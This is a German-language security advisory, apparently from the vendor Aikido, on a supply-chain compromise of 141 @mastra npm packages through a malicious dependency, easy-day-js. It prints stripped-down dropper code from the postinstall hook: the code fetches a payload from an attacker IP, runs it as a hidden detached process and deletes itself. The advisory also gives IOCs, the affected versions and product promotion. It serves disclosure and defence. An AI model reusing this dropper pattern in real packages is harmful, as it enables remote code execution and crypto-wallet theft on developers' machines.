Am 17. Juni haben wir einen groß angelegten Supply-Chain-Angriff entdeckt, der auf die gesamte @mastra npm scope, ein beliebtes Open-Source-Framework für KI-Agenten. Ein Angreifer veröffentlichte zwischen 01:15 und 02:00 Uhr UTC in kurzer Folge 141 Pakete neu und fügte dabei unbemerkt in jedes einzelne eine schädliche Abhängigkeit ein. Zu den betroffenen Paketen gehören @mastra/core, das wöchentlich 918.000 NPM-Downloads verzeichnet, sowie mastra und create-mastra.
Das Skript nach der Installation
Bei allen 141 Paketen wurde jeweils eine neue Abhängigkeit zu ihrer package.json: easy-day-js, ein bösartiger Klon der beliebten Date-Bibliothek dayjs. Das Paket wurde einen Tag vor der Übernahme von Scope von einem separaten, vom Angreifer kontrollierten Konto veröffentlicht. Entscheidend ist, dass die ursprüngliche Version (1.11.21) völlig sauber war, eine exakte Kopie von dayjs ohne Installations-Hooks. Die schädliche Version (1.11.22) folgte am nächsten Tag, genau zu dem Zeitpunkt, als die @mastra Die Pakete wurden erneut veröffentlicht. Die kompromittierten Pakete hängen von ^1.11.21, doch die Caret-Auflösung von npm zieht automatisch die schädliche Version 1.11.22 als neueste Version heran, während die Überprüfung der festgelegten Version nichts Verdächtiges ergibt.
Mit Version 1.11.22 wird eine postinstall Haken, der läuft setup.cjs, ein verschleiertes Skript, das bei der Installation automatisch und ohne jegliche Benutzerinteraktion ausgeführt wird.
// obfuscated -- stripped down to the essential logic
const payload = await (await fetch('https://23[.]254[.]164[.]92:8000/update/49890878')).text();
const file = path.join(os.tmpdir(), crypto.randomBytes(12).toString('hex') + '.js');
fs.writeFileSync(file, payload, 'utf8');
child_process.spawn(process.execPath, [file, '23[.]254[.]164[.]123:443'], {
detached: true, stdio: 'ignore', windowsHide: true
}).unref();
fs.rmSync(__filename, { force: true }); // self-deletesWas dieses Skript Schritt für Schritt tut:
- Ruft eine Second-Stage-Nutzlast vom C2-Server unter
23[.]254[.]164[.]92:8000 - Schreibt die Nutzdaten in eine Datei mit zufälligem Namen
.jsDatei im temporären Verzeichnis des Betriebssystems - Startet die Payload als vollständig eigenständigen Hintergrundprozess, der auf allen Plattformen unsichtbar ist (
stdio: ignorieren, windowsHide: true), vorbei an einem zweiten C2-Host23[.]254[.]164[.]123:443als Argument - Selbstlöschung, um forensische Spuren des Postinstall-Hooks zu beseitigen
Die zweite Phase läuft als langlebiger Hintergrundprozess, der Systeminformationen sammelt und auf über 160 browserbasierte Krypto-Wallet-Erweiterungen abzielt, darunter MetaMask, Keplr, Coinbase und weitere. Der Prozess sorgt für Persistenz, indem er sich unter macOS, Windows und Linux als Node-bezogene Tools tarnt, die alle eine Verbindung zu 23[.]254[.]164[.]123:443.
Ähnlichkeiten mit dem Axios-Kompromiss
Das Vorgehen ist hier fast identisch mit dem Axios-Kompromiss die wir im März 2026 behandelt haben. Bei beiden Angriffen vermied es der Angreifer, den eigentlichen Code des Zielpakets zu verändern, und schleuste stattdessen eine bösartige Abhängigkeit ein, wobei er sich auf npm stützte. postinstall Hook, um die Payload bei der Installation automatisch auszuführen. Bei beiden Angriffen wurde zunächst eine saubere Köderversion installiert, gefolgt von der schädlichen Version. Beim Axios-Angriff, plain-crypto-js spielte die Rolle, die easy-day-js wird hier ausgeführt. Beide Dropper löschen sich zudem nach der Ausführung selbst, um forensische Spuren zu beseitigen.
Auch die Infrastruktur folgt demselben Muster. Der Axios-Dropper stellte eine Verbindung zu einem Hostwinds-VPS auf Port 8000 her. Der easy-day-js Der Dropper macht dasselbe und trifft 23[.]254[.]164[.]92:8000 auf der Hostwinds-Infrastruktur.
Wie Aikido dies erkennt
Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem mit 100/100 angezeigt. Aikido führt nächtliche Rescans durch, aber wir empfehlen, jetzt einen manuellen Rescan auszulösen.
Wenn Sie noch kein Aikido-Benutzer sind, können Sie ein Konto erstellen und Ihre Repos verbinden. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.
Für eine umfassendere Abdeckung Ihres gesamten Teams bietet Aikido's Device Protection Ihnen Transparenz und Kontrolle über die Softwarepakete, die auf den Geräten Ihres Teams installiert sind. Es deckt Browser Extensions, Code Libraries, IDE Plugins und Build Dependencies ab, alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.
Für zukünftigen Schutz sollten Sie Aikido Safe Chain (Open Source) in Betracht ziehen. Safe Chain integriert sich in Ihren bestehenden Workflow, indem es npm-, npx-, yarn-, pnpm- und pnpx-Befehle abfängt und Pakete vor der Installation gegen Aikido Intel prüft.
Indikatoren für Kompromittierung
Netzwerkindikatoren
23[.]254[.]164[.]92:8000 — C2 der ersten Stufe, Herunterladen der Nutzlast23[.]254[.]164[.]123:443 — Callback-Host der zweiten Stufe, der an die gestartete RAT übergeben wird
Betroffene Pakete
easy-day-js@1.11.22
create-mastra@1.13.1
mastra@1.13.1
@mastra/acp@0.2.2
@mastra/agent-browser@0.3.2
@mastra/agent-builder@1.0.42
@mastra/agentcore@0.2.2
@mastra/agentfs@0.1.1
@mastra/ai-sdk@1.4.6
@mastra/arize@1.2.3
@mastra/arthur@0.3.3
@mastra/astra@1.0.2
@mastra/auth@1.0.3
@mastra/auth-auth0@1.0.2
@mastra/auth-better-auth@1.0.4
@mastra/auth-clerk@1.0.3
@mastra/auth-cloud@1.1.4
@mastra/auth-firebase@1.0.1
@mastra/auth-okta@0.0.5
@mastra/auth-studio@1.2.4
@mastra/auth-supabase@1.0.2
@mastra/auth-workos@1.5.3
@mastra/azure@0.2.3
@mastra/blaxel@0.4.2
@mastra/braintrust@1.1.4
@mastra/brightdata@0.2.2
@mastra/browser-firecrawl@0.1.1
@mastra/browser-viewer@0.1.3
@mastra/chroma@1.0.2
@mastra/claude@1.0.3
@mastra/clickhouse@1.10.1
@mastra/client-js@1.24.1
@mastra/cloud@0.1.24
@mastra/cloudflare@1.4.2
@mastra/cloudflare-d1@1.0.7
@mastra/codemod@1.0.4
@mastra/convex@1.2.2
@mastra/core@1.42.1
@mastra/couchbase@1.0.4
@mastra/cursor@0.2.1
@mastra/dane@1.0.2
@mastra/datadog@1.2.5
@mastra/daytona@0.4.2
@mastra/deployer@1.42.1
@mastra/deployer-cloud@1.42.1
@mastra/deployer-cloudflare@1.1.44
@mastra/deployer-netlify@1.1.20
@mastra/deployer-vercel@1.1.38
@mastra/docker@0.3.1
@mastra/dsql@1.0.3
@mastra/duckdb@1.4.3
@mastra/dynamodb@1.0.9
@mastra/e2b@0.3.4
@mastra/editor@0.11.3
@mastra/elasticsearch@1.2.1
@mastra/engine@0.1.1
@mastra/evals@1.3.1
@mastra/express@1.3.31
@mastra/fastembed@1.1.3
@mastra/fastify@1.3.31
@mastra/files-sdk@0.2.1
@mastra/gcs@0.2.3
@mastra/github-signals@0.1.2
@mastra/google-cloud-pubsub@1.0.6
@mastra/google-drive@0.1.1
@mastra/hono@1.4.26
@mastra/inngest@1.5.2
@mastra/koa@1.5.14
@mastra/laminar@1.2.3
@mastra/lance@1.0.7
@mastra/langfuse@1.3.6
@mastra/langsmith@1.2.4
@mastra/libsql@1.13.1
@mastra/loggers@1.1.3
@mastra/longmemeval@1.0.50
@mastra/mcp@1.10.1
@mastra/mcp-docs-server@1.1.47
@mastra/mcp-registry-registry@1.0.2
@mastra/mem0@0.1.14
@mastra/memory@1.20.4
@mastra/modal@0.2.2
@mastra/mongodb@1.9.3
@mastra/mssql@1.3.2
@mastra/mysql@0.1.1
@mastra/nestjs@0.1.15
@mastra/node-audio@0.1.8
@mastra/node-speaker@0.1.1
@mastra/observability@1.14.2
@mastra/openai@1.0.2
@mastra/opencode@0.0.47
@mastra/opensearch@1.0.3
@mastra/otel-bridge@1.2.3
@mastra/otel-exporter@1.2.3
@mastra/perplexity@0.1.1
@mastra/pg@1.13.1
@mastra/pinecone@1.0.2
@mastra/playground-ui@33.0.1
@mastra/posthog@1.0.29
@mastra/qdrant@1.0.3
@mastra/rag@2.2.2
@mastra/railway@0.1.1
@mastra/react@1.0.1
@mastra/redis@1.1.3
@mastra/redis-streams@0.0.4
@mastra/s3@0.5.3
@mastra/s3vectors@1.0.7
@mastra/schema-compat@1.2.12
@mastra/sentry@1.1.4
@mastra/server@2.1.1
@mastra/slack@1.3.1
@mastra/spanner@1.1.2
@mastra/speech-azure@0.2.1
@mastra/speech-elevenlabs@0.2.1
@mastra/speech-google@0.2.1
@mastra/speech-ibm@0.2.1
@mastra/speech-murf@0.2.1
@mastra/speech-openai@0.2.1
@mastra/speech-replicate@0.2.1
@mastra/speech-speechify@0.2.1
@mastra/stagehand@0.2.5
@mastra/tavily@1.0.3
@mastra/temporal@0.1.14
@mastra/turbopuffer@1.0.3
@mastra/twilio@1.0.2
@mastra/upstash@1.1.3
@mastra/vectorize@1.0.3
@mastra/vercel@1.0.1
@mastra/voice-aws-nova-sonic@0.1.4
@mastra/voice-azure@0.11.2
@mastra/voice-cloudflare@0.12.3
@mastra/voice-deepgram@0.12.2
@mastra/voice-elevenlabs@0.12.2
@mastra/voice-gladia@0.12.2
@mastra/voice-google@0.12.3
@mastra/voice-google-gemini-live@0.12.2
@mastra/voice-inworld@0.3.1
@mastra/voice-modelslab@0.1.2
@mastra/voice-murf@0.12.3
@mastra/voice-openai@0.12.3
@mastra/voice-openai-realtime@0.12.6
@mastra/voice-playai@0.12.2
@mastra/voice-sarvam@1.0.2
@mastra/voice-speechify@0.12.2
@mastra/voice-xai-realtime@0.1.2

